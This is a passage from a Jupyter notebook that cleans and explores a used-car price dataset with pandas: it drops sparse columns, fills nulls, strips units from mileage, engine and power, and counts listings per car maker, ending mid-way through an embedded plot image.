Unnamed: 0NameLocationYearKilometers_DrivenFuel_TypeTransmissionOwner_TypeMileageEnginePowerSeatsNew_PricePrice
00Maruti Wagon R LXI CNGMumbai201072000CNGManualFirst26.6 km/kg998 CC58.16 bhp5.0NaN1.75
11Hyundai Creta 1.6 CRDi SX OptionPune201541000DieselManualFirst19.67 kmpl1582 CC126.2 bhp5.0NaN12.50
22Honda Jazz VChennai201146000PetrolManualFirst18.2 kmpl1199 CC88.7 bhp5.08.61 Lakh4.50
33Maruti Ertiga VDIChennai201287000DieselManualFirst20.77 kmpl1248 CC88.76 bhp7.0NaN6.00
44Audi A4 New 2.0 TDI MultitronicCoimbatore201340670DieselAutomaticSecond15.2 kmpl1968 CC140.8 bhp5.0NaN17.74
\n", - "
" - ], - "text/plain": [ - " Unnamed: 0 Name Location Year \\\n", - "0 0 Maruti Wagon R LXI CNG Mumbai 2010 \n", - "1 1 Hyundai Creta 1.6 CRDi SX Option Pune 2015 \n", - "2 2 Honda Jazz V Chennai 2011 \n", - "3 3 Maruti Ertiga VDI Chennai 2012 \n", - "4 4 Audi A4 New 2.0 TDI Multitronic Coimbatore 2013 \n", - "\n", - " Kilometers_Driven Fuel_Type Transmission Owner_Type Mileage Engine \\\n", - "0 72000 CNG Manual First 26.6 km/kg 998 CC \n", - "1 41000 Diesel Manual First 19.67 kmpl 1582 CC \n", - "2 46000 Petrol Manual First 18.2 kmpl 1199 CC \n", - "3 87000 Diesel Manual First 20.77 kmpl 1248 CC \n", - "4 40670 Diesel Automatic Second 15.2 kmpl 1968 CC \n", - "\n", - " Power Seats New_Price Price \n", - "0 58.16 bhp 5.0 NaN 1.75 \n", - "1 126.2 bhp 5.0 NaN 12.50 \n", - "2 88.7 bhp 5.0 8.61 Lakh 4.50 \n", - "3 88.76 bhp 7.0 NaN 6.00 \n", - "4 140.8 bhp 5.0 NaN 17.74 " - ] - }, - "execution_count": 72, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "##reading dataset\n", - "df = pd.read_csv('../Dataset/train-data.csv')\n", - "\n", - "print(df.shape)\n", - "df.head()" - ] - }, - { - "cell_type": "code", - "execution_count": 73, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "(6019, 14)" - ] - }, - "execution_count": 73, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df.shape" - ] - }, - { - "cell_type": "code", - "execution_count": 74, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "Index(['Unnamed: 0', 'Name', 'Location', 'Year', 'Kilometers_Driven',\n", - " 'Fuel_Type', 'Transmission', 'Owner_Type', 'Mileage', 'Engine', 'Power',\n", - " 'Seats', 'New_Price', 'Price'],\n", - " dtype='object')" - ] - }, - "execution_count": 74, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df.columns" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## **Data Preparation**" - ] - }, - { - "cell_type": "code", - "execution_count": 75, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
Unnamed: 0YearKilometers_DrivenSeatsPrice
count6019.0000006019.0000006.019000e+035977.0000006019.000000
mean3009.0000002013.3581995.873838e+045.2787359.479468
std1737.6799673.2697429.126884e+040.80884011.187917
min0.0000001998.0000001.710000e+020.0000000.440000
25%1504.5000002011.0000003.400000e+045.0000003.500000
50%3009.0000002014.0000005.300000e+045.0000005.640000
75%4513.5000002016.0000007.300000e+045.0000009.950000
max6018.0000002019.0000006.500000e+0610.000000160.000000
\n", - "
" - ], - "text/plain": [ - " Unnamed: 0 Year Kilometers_Driven Seats Price\n", - "count 6019.000000 6019.000000 6.019000e+03 5977.000000 6019.000000\n", - "mean 3009.000000 2013.358199 5.873838e+04 5.278735 9.479468\n", - "std 1737.679967 3.269742 9.126884e+04 0.808840 11.187917\n", - "min 0.000000 1998.000000 1.710000e+02 0.000000 0.440000\n", - "25% 1504.500000 2011.000000 3.400000e+04 5.000000 3.500000\n", - "50% 3009.000000 2014.000000 5.300000e+04 5.000000 5.640000\n", - "75% 4513.500000 2016.000000 7.300000e+04 5.000000 9.950000\n", - "max 6018.000000 2019.000000 6.500000e+06 10.000000 160.000000" - ] - }, - "execution_count": 75, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df.describe()" - ] - }, - { - "cell_type": "code", - "execution_count": 76, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
Unnamed: 0NameLocationYearKilometers_DrivenFuel_TypeTransmissionOwner_TypeMileageEnginePowerSeatsPrice
00Maruti Wagon R LXI CNGMumbai201072000CNGManualFirst26.6 km/kg998 CC58.16 bhp5.01.75
11Hyundai Creta 1.6 CRDi SX OptionPune201541000DieselManualFirst19.67 kmpl1582 CC126.2 bhp5.012.50
22Honda Jazz VChennai201146000PetrolManualFirst18.2 kmpl1199 CC88.7 bhp5.04.50
33Maruti Ertiga VDIChennai201287000DieselManualFirst20.77 kmpl1248 CC88.76 bhp7.06.00
44Audi A4 New 2.0 TDI MultitronicCoimbatore201340670DieselAutomaticSecond15.2 kmpl1968 CC140.8 bhp5.017.74
..........................................
60146014Maruti Swift VDIDelhi201427365DieselManualFirst28.4 kmpl1248 CC74 bhp5.04.75
60156015Hyundai Xcent 1.1 CRDi SJaipur2015100000DieselManualFirst24.4 kmpl1120 CC71 bhp5.04.00
60166016Mahindra Xylo D4 BSIVJaipur201255000DieselManualSecond14.0 kmpl2498 CC112 bhp8.02.90
60176017Maruti Wagon R VXIKolkata201346000PetrolManualFirst18.9 kmpl998 CC67.1 bhp5.02.65
60186018Chevrolet Beat DieselHyderabad201147000DieselManualFirst25.44 kmpl936 CC57.6 bhp5.02.50
\n", - "

6019 rows × 13 columns

\n", - "
" - ], - "text/plain": [ - " Unnamed: 0 Name Location Year \\\n", - "0 0 Maruti Wagon R LXI CNG Mumbai 2010 \n", - "1 1 Hyundai Creta 1.6 CRDi SX Option Pune 2015 \n", - "2 2 Honda Jazz V Chennai 2011 \n", - "3 3 Maruti Ertiga VDI Chennai 2012 \n", - "4 4 Audi A4 New 2.0 TDI Multitronic Coimbatore 2013 \n", - "... ... ... ... ... \n", - "6014 6014 Maruti Swift VDI Delhi 2014 \n", - "6015 6015 Hyundai Xcent 1.1 CRDi S Jaipur 2015 \n", - "6016 6016 Mahindra Xylo D4 BSIV Jaipur 2012 \n", - "6017 6017 Maruti Wagon R VXI Kolkata 2013 \n", - "6018 6018 Chevrolet Beat Diesel Hyderabad 2011 \n", - "\n", - " Kilometers_Driven Fuel_Type Transmission Owner_Type Mileage \\\n", - "0 72000 CNG Manual First 26.6 km/kg \n", - "1 41000 Diesel Manual First 19.67 kmpl \n", - "2 46000 Petrol Manual First 18.2 kmpl \n", - "3 87000 Diesel Manual First 20.77 kmpl \n", - "4 40670 Diesel Automatic Second 15.2 kmpl \n", - "... ... ... ... ... ... \n", - "6014 27365 Diesel Manual First 28.4 kmpl \n", - "6015 100000 Diesel Manual First 24.4 kmpl \n", - "6016 55000 Diesel Manual Second 14.0 kmpl \n", - "6017 46000 Petrol Manual First 18.9 kmpl \n", - "6018 47000 Diesel Manual First 25.44 kmpl \n", - "\n", - " Engine Power Seats Price \n", - "0 998 CC 58.16 bhp 5.0 1.75 \n", - "1 1582 CC 126.2 bhp 5.0 12.50 \n", - "2 1199 CC 88.7 bhp 5.0 4.50 \n", - "3 1248 CC 88.76 bhp 7.0 6.00 \n", - "4 1968 CC 140.8 bhp 5.0 17.74 \n", - "... ... ... ... ... \n", - "6014 1248 CC 74 bhp 5.0 4.75 \n", - "6015 1120 CC 71 bhp 5.0 4.00 \n", - "6016 2498 CC 112 bhp 8.0 2.90 \n", - "6017 998 CC 67.1 bhp 5.0 2.65 \n", - "6018 936 CC 57.6 bhp 5.0 2.50 \n", - "\n", - "[6019 rows x 13 columns]" - ] - }, - "execution_count": 76, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# now here we remove the columns in which more no. of null value are present\n", - "cols = [col for col in df.columns if (df[col].isnull().sum()/df.shape[0] * 100 < 70)]\n", - "data_trimmed = df[cols]\n", - "data_trimmed" - ] - }, - { - "cell_type": "code", - "execution_count": 77, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "Unnamed: 0 0.000000\n", - "Name 0.000000\n", - "Location 0.000000\n", - "Year 0.000000\n", - "Kilometers_Driven 0.000000\n", - "Fuel_Type 0.000000\n", - "Transmission 0.000000\n", - "Owner_Type 0.000000\n", - "Mileage 0.033228\n", - "Engine 0.598106\n", - "Power 0.598106\n", - "Seats 0.697790\n", - "Price 0.000000\n", - "dtype: float64" - ] - }, - "execution_count": 77, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - " data_trimmed.isnull().sum()/df.shape[0]*100" - ] - }, - { - "cell_type": "code", - "execution_count": 78, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
NameLocationYearKilometers_DrivenFuel_TypeTransmissionOwner_TypeMileageEnginePowerSeatsPrice
0Maruti Wagon R LXI CNGMumbai201072000CNGManualFirst26.6 km/kg998 CC58.16 bhp5.01.75
1Hyundai Creta 1.6 CRDi SX OptionPune201541000DieselManualFirst19.67 kmpl1582 CC126.2 bhp5.012.50
2Honda Jazz VChennai201146000PetrolManualFirst18.2 kmpl1199 CC88.7 bhp5.04.50
3Maruti Ertiga VDIChennai201287000DieselManualFirst20.77 kmpl1248 CC88.76 bhp7.06.00
4Audi A4 New 2.0 TDI MultitronicCoimbatore201340670DieselAutomaticSecond15.2 kmpl1968 CC140.8 bhp5.017.74
.......................................
6014Maruti Swift VDIDelhi201427365DieselManualFirst28.4 kmpl1248 CC74 bhp5.04.75
6015Hyundai Xcent 1.1 CRDi SJaipur2015100000DieselManualFirst24.4 kmpl1120 CC71 bhp5.04.00
6016Mahindra Xylo D4 BSIVJaipur201255000DieselManualSecond14.0 kmpl2498 CC112 bhp8.02.90
6017Maruti Wagon R VXIKolkata201346000PetrolManualFirst18.9 kmpl998 CC67.1 bhp5.02.65
6018Chevrolet Beat DieselHyderabad201147000DieselManualFirst25.44 kmpl936 CC57.6 bhp5.02.50
\n", - "

6019 rows × 12 columns

\n", - "
" - ], - "text/plain": [ - " Name Location Year Kilometers_Driven \\\n", - "0 Maruti Wagon R LXI CNG Mumbai 2010 72000 \n", - "1 Hyundai Creta 1.6 CRDi SX Option Pune 2015 41000 \n", - "2 Honda Jazz V Chennai 2011 46000 \n", - "3 Maruti Ertiga VDI Chennai 2012 87000 \n", - "4 Audi A4 New 2.0 TDI Multitronic Coimbatore 2013 40670 \n", - "... ... ... ... ... \n", - "6014 Maruti Swift VDI Delhi 2014 27365 \n", - "6015 Hyundai Xcent 1.1 CRDi S Jaipur 2015 100000 \n", - "6016 Mahindra Xylo D4 BSIV Jaipur 2012 55000 \n", - "6017 Maruti Wagon R VXI Kolkata 2013 46000 \n", - "6018 Chevrolet Beat Diesel Hyderabad 2011 47000 \n", - "\n", - " Fuel_Type Transmission Owner_Type Mileage Engine Power Seats \\\n", - "0 CNG Manual First 26.6 km/kg 998 CC 58.16 bhp 5.0 \n", - "1 Diesel Manual First 19.67 kmpl 1582 CC 126.2 bhp 5.0 \n", - "2 Petrol Manual First 18.2 kmpl 1199 CC 88.7 bhp 5.0 \n", - "3 Diesel Manual First 20.77 kmpl 1248 CC 88.76 bhp 7.0 \n", - "4 Diesel Automatic Second 15.2 kmpl 1968 CC 140.8 bhp 5.0 \n", - "... ... ... ... ... ... ... ... \n", - "6014 Diesel Manual First 28.4 kmpl 1248 CC 74 bhp 5.0 \n", - "6015 Diesel Manual First 24.4 kmpl 1120 CC 71 bhp 5.0 \n", - "6016 Diesel Manual Second 14.0 kmpl 2498 CC 112 bhp 8.0 \n", - "6017 Petrol Manual First 18.9 kmpl 998 CC 67.1 bhp 5.0 \n", - "6018 Diesel Manual First 25.44 kmpl 936 CC 57.6 bhp 5.0 \n", - "\n", - " Price \n", - "0 1.75 \n", - "1 12.50 \n", - "2 4.50 \n", - "3 6.00 \n", - "4 17.74 \n", - "... ... \n", - "6014 4.75 \n", - "6015 4.00 \n", - "6016 2.90 \n", - "6017 2.65 \n", - "6018 2.50 \n", - "\n", - "[6019 rows x 12 columns]" - ] - }, - "execution_count": 78, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# now in dataset there are many unnamed keyword, so we need to remove all\n", - "data_trimmed=data_trimmed.drop(labels=\"Unnamed: 0\", axis = 1)\n", - "data_trimmed" - ] - }, - { - "cell_type": "code", - "execution_count": 79, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "Name object\n", - "Location object\n", - "Year int64\n", - "Kilometers_Driven int64\n", - "Fuel_Type object\n", - "Transmission object\n", - "Owner_Type object\n", - "Mileage object\n", - "Engine object\n", - "Power object\n", - "Seats float64\n", - "Price float64\n", - "dtype: object" - ] - }, - "execution_count": 79, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "data_trimmed.dtypes" - ] - }, - { - "cell_type": "code", - "execution_count": 80, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "Name 0\n", - "Location 0\n", - "Year 0\n", - "Kilometers_Driven 0\n", - "Fuel_Type 0\n", - "Transmission 0\n", - "Owner_Type 0\n", - "Mileage 0\n", - "Engine 0\n", - "Power 0\n", - "Seats 0\n", - "Price 0\n", - "dtype: int64" - ] - }, - "execution_count": 80, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# now we remove the fill the null value\n", - "data_trimmed.fillna(method='ffill', inplace=True)\n", - "data_trimmed.isnull().sum()" - ] - }, - { - "cell_type": "code", - "execution_count": 81, - "metadata": {}, - "outputs": [], - "source": [ - "# now we convert string data to numeric form, i.e removing units etc.\n", - "data_trimmed['Mileage'] = pd.to_numeric(data_trimmed['Mileage'].str.lower().str.split().str.get(0), errors='coerce')\n", - "data_trimmed['Engine'] = pd.to_numeric(data_trimmed['Engine'].str.lower().str.split().str.get(0), errors='coerce')\n", - "data_trimmed['Power'] = pd.to_numeric(data_trimmed['Power'].str.lower().str.split().str.get(0), errors='coerce')" - ] - }, - { - "cell_type": "code", - "execution_count": 82, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
NameLocationYearKilometers_DrivenFuel_TypeTransmissionOwner_TypeMileageEnginePowerSeatsPrice
0Maruti Wagon R LXI CNGMumbai201072000CNGManualFirst26.6099858.165.01.75
1Hyundai Creta 1.6 CRDi SX OptionPune201541000DieselManualFirst19.671582126.205.012.50
2Honda Jazz VChennai201146000PetrolManualFirst18.20119988.705.04.50
3Maruti Ertiga VDIChennai201287000DieselManualFirst20.77124888.767.06.00
4Audi A4 New 2.0 TDI MultitronicCoimbatore201340670DieselAutomaticSecond15.201968140.805.017.74
.......................................
6014Maruti Swift VDIDelhi201427365DieselManualFirst28.40124874.005.04.75
6015Hyundai Xcent 1.1 CRDi SJaipur2015100000DieselManualFirst24.40112071.005.04.00
6016Mahindra Xylo D4 BSIVJaipur201255000DieselManualSecond14.002498112.008.02.90
6017Maruti Wagon R VXIKolkata201346000PetrolManualFirst18.9099867.105.02.65
6018Chevrolet Beat DieselHyderabad201147000DieselManualFirst25.4493657.605.02.50
\n", - "

6019 rows × 12 columns

\n", - "
" - ], - "text/plain": [ - " Name Location Year Kilometers_Driven \\\n", - "0 Maruti Wagon R LXI CNG Mumbai 2010 72000 \n", - "1 Hyundai Creta 1.6 CRDi SX Option Pune 2015 41000 \n", - "2 Honda Jazz V Chennai 2011 46000 \n", - "3 Maruti Ertiga VDI Chennai 2012 87000 \n", - "4 Audi A4 New 2.0 TDI Multitronic Coimbatore 2013 40670 \n", - "... ... ... ... ... \n", - "6014 Maruti Swift VDI Delhi 2014 27365 \n", - "6015 Hyundai Xcent 1.1 CRDi S Jaipur 2015 100000 \n", - "6016 Mahindra Xylo D4 BSIV Jaipur 2012 55000 \n", - "6017 Maruti Wagon R VXI Kolkata 2013 46000 \n", - "6018 Chevrolet Beat Diesel Hyderabad 2011 47000 \n", - "\n", - " Fuel_Type Transmission Owner_Type Mileage Engine Power Seats Price \n", - "0 CNG Manual First 26.60 998 58.16 5.0 1.75 \n", - "1 Diesel Manual First 19.67 1582 126.20 5.0 12.50 \n", - "2 Petrol Manual First 18.20 1199 88.70 5.0 4.50 \n", - "3 Diesel Manual First 20.77 1248 88.76 7.0 6.00 \n", - "4 Diesel Automatic Second 15.20 1968 140.80 5.0 17.74 \n", - "... ... ... ... ... ... ... ... ... \n", - "6014 Diesel Manual First 28.40 1248 74.00 5.0 4.75 \n", - "6015 Diesel Manual First 24.40 1120 71.00 5.0 4.00 \n", - "6016 Diesel Manual Second 14.00 2498 112.00 8.0 2.90 \n", - "6017 Petrol Manual First 18.90 998 67.10 5.0 2.65 \n", - "6018 Diesel Manual First 25.44 936 57.60 5.0 2.50 \n", - "\n", - "[6019 rows x 12 columns]" - ] - }, - "execution_count": 82, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "data_trimmed" - ] - }, - { - "cell_type": "code", - "execution_count": 83, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "Name object\n", - "Location object\n", - "Year int64\n", - "Kilometers_Driven int64\n", - "Fuel_Type object\n", - "Transmission object\n", - "Owner_Type object\n", - "Mileage float64\n", - "Engine int64\n", - "Power float64\n", - "Seats float64\n", - "Price float64\n", - "dtype: object" - ] - }, - "execution_count": 83, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "data_trimmed.dtypes" - ] - }, - { - "cell_type": "code", - "execution_count": 84, - "metadata": {}, - "outputs": [], - "source": [ - "cars=data_trimmed['Name'].str.lower().unique()" - ] - }, - { - "cell_type": "code", - "execution_count": 85, - "metadata": {}, - "outputs": [], - "source": [ - "num_cars=len(cars)" - ] - }, - { - "cell_type": "code", - "execution_count": 86, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "1852" - ] - }, - "execution_count": 86, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "num_cars" - ] - }, - { - "cell_type": "code", - "execution_count": 87, - "metadata": {}, - "outputs": [], - "source": [ - "# arranging the companies according to cars sold\n", - "companies=data_trimmed['Name'].str.lower().str.split().str.get(0).unique()" - ] - }, - { - "cell_type": "code", - "execution_count": 88, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "array(['maruti', 'hyundai', 'honda', 'audi', 'nissan', 'toyota',\n", - " 'volkswagen', 'tata', 'land', 'mitsubishi', 'renault',\n", - " 'mercedes-benz', 'bmw', 'mahindra', 'ford', 'porsche', 'datsun',\n", - " 'jaguar', 'volvo', 'chevrolet', 'skoda', 'mini', 'fiat', 'jeep',\n", - " 'smart', 'ambassador', 'isuzu', 'force', 'bentley', 'lamborghini'],\n", - " dtype=object)" - ] - }, - "execution_count": 88, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "companies" - ] - }, - { - "cell_type": "code", - "execution_count": 89, - "metadata": {}, - "outputs": [], - "source": [ - "company_count=data_trimmed['Name'].str.lower().str.split().str.get(0).to_frame()[\"Name\"].value_counts()" - ] - }, - { - "cell_type": "code", - "execution_count": 90, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "maruti 1211\n", - "hyundai 1107\n", - "honda 608\n", - "toyota 411\n", - "mercedes-benz 318\n", - "volkswagen 315\n", - "ford 300\n", - "mahindra 272\n", - "bmw 267\n", - "audi 236\n", - "tata 186\n", - "skoda 173\n", - "renault 145\n", - "chevrolet 121\n", - "nissan 91\n", - "land 60\n", - "jaguar 40\n", - "fiat 28\n", - "mitsubishi 27\n", - "mini 26\n", - "volvo 21\n", - "porsche 18\n", - "jeep 15\n", - "datsun 13\n", - "force 3\n", - "isuzu 3\n", - "bentley 1\n", - "ambassador 1\n", - "smart 1\n", - "lamborghini 1\n", - "Name: Name, dtype: int64" - ] - }, - "execution_count": 90, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "company_count" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## **Data Visualization**" - ] - }, - { - "cell_type": "code", - "execution_count": 91, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 91, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "iVBORw0KGgoAAAANSUhEUgAAAa8AAAFOCAYAAAAxc5ImAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjMuMiwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy8vihELAAAACXBIWXMAAAsTAAALEwEAmpwYAABLfUlEQVR4nO3dd3wVVdrA8d+TAgECgYQElGajg9IEARGUIiiCsii4uvpaQF103VUBWV1EUVFRrCgigiKogICAItjo0ovSomIBESEJSOgted4/7hDvTb0hZTLJ8/VzP2Rmzsx9jjO5T86Zc8+IqmKMMcZ4SYjbARhjjDG5ZcnLGGOM51jyMsYY4zmWvIwxxniOJS9jjDGeY8nLGGOM51jyMsYYU2BEZLyIJIjIpiy2i4i8IiLbROQ7EWkWzHEteRljjClI7wBds9neDajtvPoDbwRzUEtexhhjCoyqLgb2ZVOkJzBRfVYAFUXkrJyOa8nLGGOMm6oBv/kt73TWZSuswMIx+apMzRuL3TxeP8f/3e0Q8l1oSLE7TcVWqNsBFKCYiB6Sl/1z83lz7LcP78LX3XfaWFUdm4u3yyzWHN/fkpcxxpgAIsF3yjmJKjfJKr2dQA2/5erArpx2sm5DY4wxAYSQoF/5YDZwizPq8BIgWVX/yGkna3kZY4wJkJuWV87Hkg+ADkBlEdkJPAaEA6jqGGAucBWwDTgC3BbMcS15GWOMCZCfyUtVb8xhuwIDcntcS17GGGMCiBT94SyWvIwxxgTIz5ZXQbHkZYwxJoAlL2OMMZ6TT6MIC5QlL2OMMQGs5WWMMcZzLHkZY4zxnBAbbWiMMcZrrOVljDHGcyx5GWOM8RxLXsYYYzzIkpcxxhiPCQkp+qmh6EdoCsWYkXfRrWNTEvceoEXnQW6Hk8HKZfG8NnIWKampXH1tK266/YqA7arKq8/NYsWyrURElOLhx/tQp371bPd948U5fLN4C+HhYZxdPYbBj/ehfPkyacfc88ef3Pq3kfzf3V3oe0uHAqmXqvLys7NYsTSe0hHh/Hd4H+o6cfvbtXMfwwZP4uCBo9SpV41Hn+5LeHhYtvtPeW8xn8xYhQicV/sshjxxA6VLh/PYwEns2J4AwKGDx4gsH8GEqQ8Uyfpt/yWBEUOn8MPW3+l3X1duvLVD2j4jhk7lm8VbqBQdycQZDxVI/MFQVV58dhbLl8YTERHOo9nUcejgSRw4cJS69aox1Knj/E/XMWnCAgDKlC3NwEd6Ubvu2YVdjQBe+JJykY1QRM4RkU3p1g0TEfeu0iAEG6OIDBGRbSLyvYhcWRixZee9aYvoecszboeRqZSUVF5+ZibPvnYn704fyNfz1vPrT7sDyqxcGs/OHYlMnvUwDz7amxefnp7jvi0uqcOEaQ8xfuqD1KhVmffHfxVwzNHPz6ZV23oFWrcVS+PZuSOJD+YMZtDQ3rzw5IxMy415+VNuuPkyPpgzmPIVyvDJzFXZ7p+4J5np7y9l3Af3M3HGQ6SmpvLVvA0APD7yZiZMfYAJUx+gfcfGXHZF4yJbvwoVynL/4Gvpe2